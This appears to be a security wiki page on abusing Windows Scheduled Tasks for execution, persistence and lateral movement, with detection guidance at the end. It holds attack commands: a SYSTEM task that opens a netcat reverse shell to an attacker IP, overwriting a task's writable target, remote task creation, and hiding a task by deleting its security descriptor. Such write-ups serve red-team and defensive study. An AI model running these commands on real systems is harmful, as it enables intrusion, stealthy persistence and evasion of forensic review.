Exploit Windows Scheduled Tasks

Windows Scheduled Tasks are the native equivalent of *NIX cron jobs, managed through the built-in schtasks.exe utility. They are a dual-use primitive: administrators use them for automation, and attackers abuse them for execution, persistence, and lateral movement. MITRE ATT&CK tracks this as T1053.005 (Scheduled Task) — one of the most prevalent techniques in the wild, used by groups including Lazarus, FIN8, Ryuk, and APT29 (SolarWinds compromise, where existing legitimate tasks were hijacked to run tools and then restored).

Local task abuse

Enumeration and inspection come first — a task pointing to a writable binary or script is code execution without touching the task definition itself:

# List scheduled tasks
schtasks
 
# View details about a scheduled task
schtasks /query /tn $TASK_NAME /fo list /v
 
# Check the permissions of an executable the task runs
icacls $PATH_TO_BINARY
 
# Modify permissions (if possible/desired)
icacls $PATH_TO_BINARY /grant $GROUP:$PERMISSION

If a task’s target file is writable, alter the file and the task’s elevated context runs your code — no task metadata changes means fewer artifacts. Overwriting can be done with a redirect, though line-ending issues make notepad.exe the safer editor:

echo $MALICIOUS_BINARY_AND_ARGUMENTS > $PATH_TO_BAT_TO_OVERWRITE
 
# Force a task to run (iff the current user has permission)
schtasks /run /tn $TASK_NAME

Creating a fresh task is equally viable. The classic pattern is a per-minute reverse shell running as SYSTEM (/sc minute /mo 1, /ru SYSTEM):

schtasks /create /sc minute /mo 1 /tn $TASK_NAME `
    /tr "$NETCAT_PATH -e cmd.exe $ATTACKER_IP $ATTACKER_PORT" `
    /ru SYSTEM
 
schtasks /query /tn $TASK_NAME   # verify creation

Stealthy tasks — deleting the security descriptor

Deleting a task’s Security Descriptor (SD) makes it invisible to every user on the system while it continues to fire. This requires SYSTEM-level registry access (e.g. via PsExec):

1. Open regedit as SYSTEM: PsExec64.exe -s -i regedit
2. Navigate to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ and find the task’s key
3. Delete the SD value underneath it

This is both a persistence and an anti-forensics technique — the task no longer appears in schtasks /query or the Task Scheduler GUI, but the Task Scheduler service keeps running it.

Remote task abuse

UAC restriction: by default, UAC token filtering restricts remote schtasks.exe calls to domain admins and the built-in local “Administrator” account (RID 500). Other local admins are blocked unless LocalAccountTokenFilterPolicy is set — the same filter that governs WinRM and remote service control (see exploit-windows-services).

Remote task management rides the Task Scheduler RPC interface: DCE/RPC over TCP 135 (endpoint mapper) plus dynamic high ports, falling back to named pipes over SMB (TCP 445) or NetBIOS (TCP 139). Locally the same interface is used — just over a local named pipe (atsvc/tsch interfaces, per dcerpc).

# Create $ATTACKER_TASK on $TARGET_HOST (/sd and /st are
# irrelevant when invoking manually)
schtasks /s $TARGET_HOST /RU "SYSTEM" /create `
         /tn "$ATTACKER_TASK" /tr "$SOME_COMMAND" /sc ONCE `
         /sd 06/25/2023 /st 16:10
 
# Invoke it immediately
schtasks /s $TARGET_HOST /run /TN "$ATTACKER_TASK"
 
# Clean up
schtasks /S $TARGET_HOST /TN "$ATTACKER_TASK" /DELETE /F

The create → run → delete lifecycle completes in seconds and leaves a task-scheduler event trail (EID 106, 200, 201 in the TaskScheduler operational log) plus a Security EID 4698/4699/4702 audit trail when task auditing is enabled.

Detection

• Security EID 4698 (task created) / 4699 (deleted) / 4702 (updated) — alert on tasks with cmd /c, PowerShell, or LOLBin command lines, and on tasks created remotely
• TaskScheduler/Operational EID 106/200/201 — registration and execution
• Sysmon EID 1 — schtasks.exe command lines with /s, /create, /ru SYSTEM
• Missing SD values under the TaskCache registry tree are a high-fidelity indicator of task hiding
• MITRE D3FEND countermeasures: scheduled-job auditing, process spawn analysis

Sources

• Scheduled Task/Job: Scheduled Task
• schtasks commands
• Scheduled Task - T1053.005

Related: exploit-windows-services, windows-services, windows-remote-management, wmi-remote-service-execution, dcerpc, windows-reconnaissance-commands, wmi-remote-scheduled-task